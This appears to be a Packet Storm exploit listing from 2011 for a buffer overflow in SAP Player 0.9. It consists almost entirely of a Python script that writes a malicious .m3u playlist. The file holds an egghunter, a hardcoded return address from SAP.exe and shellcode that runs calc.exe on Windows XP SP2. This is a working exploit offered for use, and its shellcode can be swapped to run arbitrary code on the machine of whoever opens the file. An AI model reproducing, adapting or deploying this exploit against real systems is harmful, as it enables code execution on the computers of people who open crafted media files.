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SAP Player 0.9 Buffer Overflow

🗓️ 04 Jul 2011 00:00:00Reported by Abhishek SahniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

SAP Player 0.9 Buffer Overflow with universal Diret ret version and shellcode for CMD calc.ex

Code
`#SAP Player 0.9 (.m3u) universal Diret ret version  
#Author Abhishek Sahni - abhil00703[at]gmail[dot]com, info[at]aslitsecurity[dot]com  
#Web - http://www.aslitsecurity.com/  
#Blog - http://www.aslitsecurity.blogspot.com/  
#Download Vulnerable application from http://www.sorinara.com/sap/sap09.exe  
#Vulnerable version SAP Player 0.9  
#Tested on XP SP2  
#Greets Villy, and ASL IT SECURITY TEAM  
#!/usr/bin/python  
  
  
filename = "ASL.m3u"  
  
  
  
egghunter = (  
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"  
"\x41\x42\x48\x49" # Egghunter tag "ABHIABHI" Greets http://www.corelan.be:8800  
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"  
)  
  
buff = "\x41" * (512 - len(egghunter))  
  
eip = "\x4a\x12\x40\x00" #0040124a CALL EDI from SAP.exe  
  
  
#windows/exec - CMD=calc.exe  
shellcode = (  
"\x41\x42\x48\x49\x41\x42\x48\x49" #Egg Hunted  
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"  
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60"  
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A"  
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02"  
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86"  
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5"  
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56"  
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93"  
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65"  
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45"  
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57"  
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4"  
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D"  
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46"  
"\x9B\x70\x5F\xED\x1B\x12\x9F"  
)  
  
  
  
padd = "\x41" * 1000  
  
  
payload = buff + egghunter + eip + padd + shellcode  
  
  
  
textfile = open(filename , 'w')  
textfile.write(buff+egghunter+eip+padd+shellcode)  
textfile.close()  
`

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